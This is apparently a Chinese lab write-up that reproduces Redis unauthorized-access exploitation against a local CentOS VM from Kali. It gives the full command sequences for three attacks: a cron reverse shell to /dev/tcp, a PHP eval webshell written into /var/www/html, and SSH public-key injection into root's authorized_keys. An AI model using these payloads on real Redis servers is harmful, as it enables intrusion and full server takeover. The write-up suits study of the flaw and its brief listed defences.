从0复现redis未授权访问漏洞

环境:centos8(ip:10.0.0.3) 安装 redis
工具:kali(10.1.1.136)

1. 介绍

Redis

REmote DIctionary Server(Redis) 是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。。

Redis 与其他它key - value 缓存产品有以下三个特点:

  • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
  • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
  • Redis支持数据的备份,即master-slave模式的数据备份。

  Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

2. 环境准备

kali作为攻击端。centos作为靶机~

安装redis

(建议用centos,之前用的vulhub中的redis未授权访问镜像,后面的操作都不行。别问为什么可以,也别问为什么不行,因为我是真滴不知道呀。只是跟着复现罢了,还真不知道原理。)

kali和centos都需要安装;

安装redis,kali和centos都跟着步骤走就行

配置redis远程访问

如下图设置:

  1. 注释掉bind 127.0.0.1

  1. proteced-mode改为no

  1. daemonize改为no

  1. requirepass随便设置

这个是连接时使用的密码。注释掉了就不用输入密码验证,如果不注释,就需要密码验证;

为了方便演示,尽量一次过关,我这里将密码设置为123456(即:去掉注释)

  1. 关闭centos防火墙

systemctl stop firewalld.service,重启系统后会开启防火墙;

所以可以考虑一下禁用防火墙,systemctl disable firewalld.service

感觉基本就搞完了。

测试远程访问:

centos开启redis服务:

进入:/usr/local/redis/bin,执行命令:./redis-server redis.conf

这个就因人而异。

至于为啥是前台启动(会显示页面),我也不知道为啥。这个环境配了从昨天配置到今天(能踩的坑都踩了一遍),能跑就已经谢天谢地了。

kali上进行连接:

或者也可以:

-p 6379可写可不写。指定端口嘛,默认端口是6379。

前面全是搭建环境的步骤,可以跟着上述方法来试试。毕竟环境配置出问题,真的劝退。下面就是正常步骤了。

3. 漏洞复现

1. 反弹shell(复现失败)

kali:检测目标端口是否开放:nmap -A -p 6379 -script redis-info 10.0.0.3

向目标写入任务计划,反弹shell

10.0.0.3:6379> set x "\n* * * * * bash -i >& /dev/tcp/10.1.1.136/888 0>&1\n"
10.0.0.3:6379> config set dir /var/spool/cron/
10.0.0.3:6379> config set dbfilename root
10.0.0.3:6379> save

kali侦听888端口

麻了,没反弹出来。但是从centos的redis前端可以看到已经保存到了磁盘;

找了一下其他的复现博客,有一个提到了要等一段时间,这个一段时间就不知道多久了。

麻了,过了很久,那就是复现不成功了。

唔不知道是不是因为版本问题。。。

2. 写入webshell(复现成功)

假如权限不高,可以考虑写入webshell(人麻了,才装的centos没装apache,php...)

centos8安装搭建PHP环境

指定目录的时候,目录要存在才不会报错,否则会报错

config set dir /var/www/html     设置web目录
config set dbfilename webshell.php 设置备份文件名
set shell "<?php @eval($_POST['shell']);?>" 设置值
最好是写入:
set shell "\r\n\r\n<?php @eval($_POST['shell']);?>\r\n\r\n"
save 保存

可以看到这里已经有了webshell.php

尝试访问和执行

3. ssh-keygen公钥然后使用私钥登陆

Centos8开启SSH服务

跟着下面的步骤走就行

kali进入:/root/.ssh目录
# ssh-keygen -t rsa 啥都不写,直接回车
# (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt
# cp 1.txt /root/redis-4.0.11/src/

kali进入:/root/redis-4.0.11/src/目录下

# cat 1.txt | ./redis-cli -h 10.0.0.3 -a 123456 -x set crack
# ./redis-cli -h 10.0.0.3 -a 123456
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> save # ssh -i id_rsa root@10.0.0.3

4.防御方法

测试远程访问的修改方法反着走;

  1. 设置密码
  2. 设置访问ip
  3. 开启防火墙
  4. 修改服务端口..等等

参考

freebuff-Redis未授权访问漏洞的重现与利用

Redis未授权访问利用|验证

redis未授权访问漏洞——简单记录的更多相关文章

  1. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  2. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  3. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

  4. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  5. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  6. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  7. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  8. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  9. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

  10. [转帖]Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...

随机推荐

  1. 面试官:介绍一下 Redis 三种集群模式

    小码今天去面试. 面试官:给我介绍一下Redis集群, 小码:啊,平时开发用的都是单机Redis,没怎么用过集群了. 面试官:好的,出门右转不谢. 小码内心困惑:在小公司业务量也不大,单机的 Redi ...

  2. day23 JDBC(Java Database Connection)连接 与 通配符与插入返回主键

    JDBC配置connector的jar包 1.项目下新建lib文件夹 2.将mysql-connector-java-版本号.jar复制到lib目录下 3.右键项目名,选择Properties选项 4 ...

  3. Leetcode-SQL学习计划-SQL入门-1527.患某种疾病的患者【regexp正则表达式匹配】

    链接:https://leetcode.cn/problems/patients-with-a-condition/ -- 1527.患某种疾病的患者 -- 链接:https://leetcode.c ...

  4. [深度学习] tf.keras入门4-过拟合和欠拟合

    过拟合和欠拟合 简单来说过拟合就是模型训练集精度高,测试集训练精度低:欠拟合则是模型训练集和测试集训练精度都低. 官方文档地址为 https://tensorflow.google.cn/tutori ...

  5. VMware-workstation软件安装和虚拟机创建

    VMware-workstation软件安装和虚拟机创建 环境说明: 1.宿主机:Windows 10 专业版 19045.2364,CPU四核八线程,内存16G,硬盘1TB. 2.VMware-wo ...

  6. OpenMP 环境变量使用总结

    OpenMP 环境变量使用总结 OMP_CANCELLATION,在 OpenMP 规范 4.5 当中规定了取消机制,我们可以使用这个环境变量去设置是否启动取消机制,如果这个值等于 TRUE 那么就是 ...

  7. webpack动态配置多静态资源路径,动态配置多上线路径,配置less,多种图片引用方式----"webpack": "^4.41.6",

    1.项目场景是有两个静态资源目录,一个用于开发,一个用于发布,上线多个版本,打包多个版本后,也要部署到同一个服务器的同一个端口下. 根据我自己的摸索,我搞出来了下面的配置,自感觉还蛮好用的 先看我的c ...

  8. 当LOGO设计与世界文化擦出火花——JJQ的LOGO设计之路

      <当LOGO设计与世界文化碰撞出火花--论 JJQ 的LOGO是如何制成的> (友链:https://tg.hszxoj.com/user/475) 首先我们对jjq对应的汉字进行拉长 ...

  9. ua5.4源码剖析:三. C++与Lua相互调用

    概述 从本质上来看,其实说是不存在所谓的C++与lua的相互调用.lua是运行在C上的,简单来说lua的代码会被编译成字节码在被C语言的语法运行.在C++调用lua时,其实是解释运行lua文件编译出来 ...

  10. Java 进阶P-5.1+P-5.2

    城堡游戏 一.城堡游戏介绍:1.这个程序的任务是通过玩家的输入的方向(纯文字)在虚构的城堡内移动(以纯文字作为移动后的返回结果).2.这个程序接受help.bye.go south.go north. ...